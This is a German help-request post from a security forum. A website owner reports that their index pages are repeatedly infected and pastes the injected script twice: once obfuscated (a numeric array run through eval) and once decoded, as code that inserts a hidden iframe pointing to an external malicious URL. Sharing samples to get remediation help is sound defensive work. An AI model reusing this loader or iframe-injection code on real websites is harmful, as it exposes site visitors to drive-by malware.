Trojaner-Board - Unbekannter Virus verseucht alle index.html/php Dateien auf dem Server!

Hallo Community,
derzeit setzt mich ein nervenaufreibendes Problem unter Druck.

Meine gesamten index.html und index.php Dateien auf meinem Webspace sind mit unbekannten Javascripts verseucht.
Dies hat zur Folge, das man aufgefordert wird ein Plugin für den Standard Media Player zu installieren.

Ich habe die Dateien bereits manuell heute morgen wieder repariert, sprich den Code entfernt und neu hochgeladen.
Ein wenig später tritt genau das gleiche Problem auf.
Hier der Schädlingscode vor dem schließenden </body> Tag:

Code:

<!-- ad --><script>var af="4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,29.5*2,6.5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,59*2,48.5*2,57*2,16*2,49*2,50*2,60.5*2,16*2,30.5*2,16*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49.5*2,57*2,50.5*2,48.5*2,58*2,50.5*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,20*2,17*2,49*2,55.5*2,50*2,60.5*2,17*2,20.5*2,29.5*2,6.5*2,4.5*2,4.5*2,4.5*2,58*2,57*2,60.5*2,16*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,48.5*2,56*2,56*2,50.5*2,55*2,50*2,33.5*2,52*2,52.5*2,54*2,50*2,20*2,49*2,50*2,60.5*2,20.5*2,29.5*2,6.5*2,4.5*2,4.5*2,4.5*2,62.5*2,16*2,49.5*2,48.5*2,58*2,49.5*2,52*2,16*2,20*2,50.5*2,20.5*2,16*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49*2,55.5*2,50*2,60.5*2,16*2,30.5*2,16*2,49*2,50*2,60.5*2,29.5*2,6.5*2,4.5*2,4.5*2,4.5*2,62.5*2,6.5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,4.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,29.5*2,6.5*2,4.5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,59.5*2,57*2,52.5*2,58*2,50.5*2,20*2,17*2,30*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,16*2,57.5*2,57*2,49.5*2,30.5*2,19.5*2,52*2,58*2,58*2,56*2,29*2,23.5*2,23.5*2,51.5*2,50.5*2,55.5*2,56*2,55.5*2,61*2,52.5*2,58*2,52.5*2,59*2,23*2,49.5*2,55.5*2,54.5*2,23.5*2,54.5*2,50.5*2,54*2,54*2,23.5*2,49.5*2,58*2,53*2,55*2,49*2,58*2,52.5*2,23*2,56*2,52*2,56*2,19.5*2,16*2,59.5*2,52.5*2,50*2,58*2,52*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,52*2,50.5*2,52.5*2,51.5*2,52*2,58*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,57.5*2,58*2,60.5*2,54*2,50.5*2,30.5*2,19.5*2,59*2,52.5*2,57.5*2,52.5*2,49*2,52.5*2,54*2,52.5*2,58*2,60.5*2,29*2,16*2,52*2,52.5*2,50*2,50*2,50.5*2,55*2,29.5*2,19.5*2,31*2,30*2,23.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,31*2,17*2,20.5*2,29.5*2,6.5*2,4.5*2,4.5*2,4.5*2,62.5*2,6.5*2,4.5*2,4.5*2,62.5*2,6.5*2,4.5*2,4.5*2,51*2,58.5*2,55*2,49.5*2,58*2,52.5*2,55.5*2,55*2,16*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,57*2,20*2,20.5*2,61.5*2,6.5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,23*2,52.5*2,55*2,55*2,50.5*2,57*2,36*2,42*2,38.5*2,38*2,16*2,21.5*2,30.5*2,16*2,17*2,30*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,16*2,57.5*2,57*2,49.5*2,30.5*2,19.5*2,52*2,58*2,58*2,56*2,29*2,23.5*2,23.5*2,51.5*2,50.5*2,55.5*2,56*2,55.5*2,61*2,52.5*2,58*2,52.5*2,59*2,23*2,49.5*2,55.5*2,54.5*2,23.5*2,54.5*2,50.5*2,54*2,54*2,23.5*2,49.5*2,58*2,53*2,55*2,49*2,58*2,52.5*2,23*2,56*2,52*2,56*2,19.5*2,16*2,59.5*2,52.5*2,50*2,58*2,52*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,52*2,50.5*2,52.5*2,51.5*2,52*2,58*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,57.5*2,58*2,60.5*2,54*2,50.5*2,30.5*2,19.5*2,59*2,52.5*2,57.5*2,52.5*2,49*2,52.5*2,54*2,52.5*2,58*2,60.5*2,29*2,16*2,52*2,52.5*2,50*2,50*2,50.5*2,55*2,29.5*2,19.5*2,31*2,30*2,23.5*2,52.5*2,51*2,57*2,48.5*2,54.5*2,50.5*2,31*2,17*2,29.5*2,6.5*2,4.5*2,4.5*2,62.5*2".split(",");qtr=new Date(2010,11,5);var xvj="";var hspd="e"+(parseInt(qtr.getMonth())-1)+"a"+xvj+"l";mdco=(function(){return this;})();biwp=mdco[hspd.replace("10","v")];bqp=window['String'].fromCharCode;var wc='';for(var i=0;i<af.length;i++){wc+=bqp(biwp(af[i]));}

biwp(wc);</script><!-- /ad -->

Decodiert:

Code:

if (document.getElementsByTagName('body')[0]){

   iframer();

  } else {

   var bdy = document.createElement("body");

   try {

    document.appendChild(bdy);

   } catch (e) {

    document.body = bdy;

   }

   if (document.getElementsByTagName('body')[0]){

    iframer();

   } else {

    document.write("<iframe src='hxxp://geopozitiv.com/mell/ctjnbti.php' width='10' height='10' style='visibility: hidden;'></iframe>");

   }

  }

  function iframer(){

   document.getElementsByTagName('body')[0].innerHTML += "<iframe src='hxxp://geopozitiv.com/mell/ctjnbti.php' width='10' height='10' style='visibility: hidden;'></iframe>";

  }

Danke für alle Tipps und Hinweise.

mfg,
unwissender4